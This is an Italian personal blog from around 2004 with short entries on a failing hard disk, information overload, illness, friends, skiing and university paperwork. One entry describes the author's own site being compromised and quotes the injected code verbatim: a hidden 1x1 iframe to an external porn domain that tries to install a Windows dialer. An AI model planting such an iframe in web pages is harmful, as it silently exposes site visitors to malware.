Oh shit!!
Mercoledì 12 Maggio 2004 @ 22:03
SMART Failure??Che espressione del menga!
Sarebbe a dire? L’astuto guasto?Comunque il mio hard disk principale sta salutando la curva. Non ha manco due anni di vita… Sarà ancora in garanzia?
SMART Failure??Che espressione del menga!
Sarebbe a dire? L’astuto guasto?Comunque il mio hard disk principale sta salutando la curva. Non ha manco due anni di vita… Sarà ancora in garanzia?
Già lo sapevo, ma ora me ne sto rendendo sempre più conto.
Sono drogato, innegabilmente dipendente dall’informazione e, in maniera particolarmente grave, da quella che mi arriva via Web. Quando perfino i tuoi criceti hanno un indirizzo di posta elettronica sei un Internet Addicted, senza ombra di dubbio.
Oggi, le fonti di informazioni che colmano la tua sete di notizie, sapere, curtura. donne nude & pandori sono tante, troppe. Al punto che a volte mi chiedo se so chi sono, perchè il mio nome si avvicina di troppo al mio indirizzo di posta elettronica. Mi chiedo se le informazioni che ricevo, parlano di qualcosa, o soltanto di se stesse.
Al mattino mi sveglio con il Giornale Radio e lo ascolto, poi accendo il cellulare e mi arrivano un po’ di messaggi, che leggo, e a cui rispondo. In macchina, mentre vado in ufficio, ascolto la radio, poi, arrivato in ufficio, leggo la posta di lavoro.
Al lavoro il mio feed aggregator mi comunica le ultime nuove da quei 20-30 siti che seguo da quando ho questa mania dell’aggregator. Sembra essere una mania tipica di noi high-volume websurfers. Poi magari visito anche qualche sito di interesse, oltre ad occuparmi, ovviamente, del lavoro. Cioè di web, posta elettronica, database, script bash che eseguono task automatici. Insomma, servizi di informazione o strumenti di processazione delle informazioni. Torno a casa, seguo il telegiornale. Poi guardo la posta di casa, approfondisco sul web le news più interessanti segnalatemi dal feed aggregator. Parlo al telefono con Tizio, chatto con Caio. Si parla di siti internet, di come farsi indicizzare al meglio su Google, di piazzare un link. Si parla di quel film visto in DivX, l’altra sera. Informazione, sempre informazione.
Mi metto a studiare, un po’ svogliatamente, come da un bel po’ di tempo a questa parte (secca ammetterlo), il mio eternamente ultimo esame. Anche se non mi piace, parla di congegni per la processazione dei segnali, strumenti per la gestione dell’informazione. Sempre costantemente informazione. Informazione che parla su strumenti e servizi per l’informazione. Informatizzazione. Informazione sull’informatizzazione. La sera guardo un po’ di tv, leggo la posta, leggo una rivista di informatica. Se esco a correre, o se vado in bici, mi porto dietro il lettore MP3. Dentro c’è una radio FM. Ascolto la radio. Ascolto brani MP3 di trasmissioni radiofoniche che ho scaricato da Internet. Torno a casa, c’è il telegiornale. Parlano di Internet. Ceno, navigo su Internet, guardo la televisione. Al mio computer arrivano cavi di rete e di antenna televisiva. Quanto basta per guardare la televisione e contemporaneamente chattare con M. & N., rispondere alla posta, seguire una mailing list, tre newsgroup e due forum, e leggere sul web le specifiche di uno standard per il web o come si fa a fare quella determinata cosa per il web.
AIUTO!!
Vado a letto. Prima di addormentarmi leggo un libro. Non parla di Internet. Grazie al cielo.
Mi son beccato una bella gastroenterite, forse virale.
Ora sto meglio, ma sono stato assolutamente fuori combattimento per un paio di giorni.
Febbre a 39°, e altre belle cose che ti fanno fare la spola tra il letto e il gabinetto.
Scoperto, grazie al prezioso contributo dello zio Yurix, da dove mi sono entrati.
Trattasi di una splendida pagina PHP piuttosto a rischio che ho scritto io personalmente e grazie alla quale potrò vantarmi di essere un grande sviluppatore web, parecchio attento alla sicurezza… fa molto curriculum.
Ancora non le so tutte le belle cose che possono aver fatto al mio ciccino…
Ieri, verso le 15 e 30, dopo aver chattato con Frau Blücher (alias Edo), dando un’occhiata al sito mi sono accorto che appariva uno strano quadratino in basso nella pagina.
Guardando il sorgente, con malcelato disgusto ho notato che, alla fine della pagina, compariva il seguente codice:
<IFRAME SRC="http://www.forced-action.com/?d=get" WIDTH=1 HEIGHT=1></IFRAME>
Panico e raccapriccio!!.
Il frame in questione, aggiunto non già alle pagine vere e proprie del sito, ma ottenuto modificando il PHP stesso, tenta di scaricare un dialer per Windows. Cioè in pratica, chiunque avesse visitato il mio sito con Internet Explorer sarebbe stato sottoposto a questo rischio. Naturalmente www.forced-action.com è un sito porno.
La cosa ora l’ho sistemata, togliendo di brutto tutto il software per il PHP e reinstallandolo, e aggiornando completamente tutto il sistema a cicciobaiano.
Profetico fu Lorex: qui l’australiano lo aveva previsto!!
Mica sarà stato lui?
Un sacco di gente sembra aver avuto problemi simili al mio, ma ancora non ho capito se si è trattato di un baco del PHP sfrutatto in qualche modo, oppure se mi sono entrati proprio a spregio su cicciobaiano e ci si sono accampati. Rootkit non sembrano essercene, però la situazione non è bella.
Per il momento so solo che mi girano (le balle).
Per via del lavoro, ho dovuto rimandare le ferie (sciistiche) per sgobbare (poco ma inutilmente) sul mio incubo quotidiano, il Triangolo, ma alla fine è stato un bene: primo perché non mi sono messo in viaggio in una giornata tempestosa che mi avrebbe visto prigioniero sull’autostrada e secondo perché ieri sera a casa di Edo ha potuto aver luogo la manifestazione reciproca di esistenza tra Enzino e Mau. Non è stata una vera improvvisata, perché tutti sapevamo, però ci siamo finalmente conosciuti dal vivo.
Da segnalare, nell’ambito della serata, la degustazione dell’esclusivo castagnaccio di banane della Silvietta, ovvero il risultato di una particolare ricetta che dovrebbe dare origine a una torta a base di banane, noci e cacao, ma che poi, per una imprecisata serie di trasformazioni chimico-fisiche isoentropiche (forse reversibili), si palesa in un dolce che, al momento della prima degustazione, presenta l’inequivocabile gusto del castagnaccio. Però è buono ed è di uguale volume, e realizza la singolare (rara) mutazione delle noci in pinoli.
Altro evento degno di nota la lettura corale di Men’s Health, dalla quale abbiamo finalmente potuto apprendere dell’esistenza del preservativo aromatizzato alla tequila, che non presenta le nocive controindicazioni del dopo sbornia.
Grazie ai potenti mezzi tennologici messi a disposizione da Edo & Mau, l’intera serata è stata immortalata a suon di scatti automatici della uèbcam alla frequenza di un settimo di hertz che hanno pienato ca. 21 MB di hard disk di immagini da 160×124 pixel(s). Le immagini saranno utilizzate per la creazione di un bel filmatino in formato Motion JPEG a memoria imperitura dell’accadimento.
Finalmente ufficiale!
Se Dio vole, anche quest’anno vado a sciare e ve lo annuncio qui: mi prendo una settimana di ferie e sarà l’ultima settimana d’inverno. Dal 13 al 20 marzo sarò sulle piste di Folgarida cum frater paterque.
Speriamo ci sia ancora abbastanza neve…
Sembra davvero che abbia nevicato…
Non ha durato molto, ma abbastanza perché potessi scattare qualche foto.
della serie… Tutto quello che avresti voluto sapere sul Tirocinio formativo e non avevi mai osato chiedere
Ieri ho concluso, se Dio vuole, la faccenda Tirocinio. La cosa è stata più complicata del previsto.
Nel Nuovo Ordinamento, il Tirocinio è obbligatorio, e sono riuscito a svolgerlo, non senza qualche difficoltà iniziale, nell’azienda dove lavoro.
Ufficialmente ho concluso l’attività di tirocinio il 29 di ottobre. Martedì 28 mi sono così recato nell’ufficio che aveva avviato la mia pratica, l’Ufficio Strutture Didattiche, per capire cosa dovesse esser fatto per convalidare i 4 crediti didattici legati al tirocinio. Sono stato ovviamente dirottato in Segreteria della Presidenza.
Oltre ai 5 documenti (relazione finale, attestato, 3 moduli di valutazione) disponibili per il download sul sito dell’università, sono venuto a sapere che avrei dovuto anche far compilare una sorta di verbale di esame dal Presidente di Corso di Laurea. Questo documento serve alla Segreteria Studenti per certificare effettivamente che l’attività sia stata svolta. All’Ufficio Strutture Didattiche e in Segretria della Presidenza mi hanno fatto sapere che i verbali in questione avrebbe dovuto averli con sé proprio il Presidente di Corso di Laurea.
Così ho compilato e fatto compilare ai miei tutor (datore di lavoro e professore) i 5 moduli e ieri sono andato dal Presidente a chiedere che venisse compilato questo verbale. Lui ovviamente è caduto dalle nuvole, ignorando completamente l’esistenza di questo verbale. Così son tornato in Segretaria della Presidenza e da lì, con l’impiegata, gentilissima, in Segreteria Studenti. Si è scoperto così che nessuno sapeva precisamente cosa dovesse esser fatto di questi 5 moduli e di questo fantomatico verbale. Alla fine il verbale è saltato fuori, così, dopo una telefonata da parte della Segreteria al Presidente di Corso di Laurea, sono potuto tornare da lui con il pacco dei verbali a farmi certificare l’avvenuto tirocinio. Quindi ho riportato tutta la documentazione in Segreteria della Presidenza, e finalmente ho concluso… anf anf!
burocratia nostra ducet
La Berlusconite sembra ormai aver afflitto la quasi totalità del popolo italiano. Mi riferisco ovviamente a quanto è successo recentemente a Domenica In. Era probabilmente inevitabile.
A casa dello zio Yurix abbiamo imbiancato. Ma comunque è il caso di dare una seconda mano e fare anche il soffitto. Sono così abituato a svolgere questo tipo di lavori manuali che sabato sera sono tornato a casa fisicamente distrutto, e non sono uscito.
Oggi mamma Telecom mi ha riparato il telefono!! Quindi se da sabato avete provato a chiamare casa mia, sappiate che se non vi ho risposto non era colpa mia.
Dalla settimana scorsa ho un titolo di tesi e un tirocinio da fare. Ho inventato tutto io, nell’onirico annebbiamento della febbre a 38°. Avevo un progetto, riguardava il motore di ricerca degli orari della Clap, ma poi mi han detto che non potevo presentarlo. Quindi la mente malata del sottoscritto, dovendo fronteggiare tempi stretti di realizzazione per portare a termine le cose, ha partorito un delirio tutto suo, senza intermediari di sorta. Speriamo si tratti di una cosa valida. Praticamente devo progettare e sviluppare un sistema di controllo e di monitoraggio dello stato di servizio e delle prestazioni di siti web. Questo è il compito che mi sono autoassegnato. Forse dovrei cominciare ad occuparmene seriamente. Be’, è quello che comincerò a fare da subito, piuttosto che perdermi in interessanti cazzate virtuali, però tanto divertenti, come appunto far girare Windows 2000 dentro la mia Debian. E d’altra parte, a proposito di installazioni virtuali, come potevo non emulare le gesta di Edo, che recentemente è riuscito completamente nel suo intento di far girare il MOL sul suo iBook?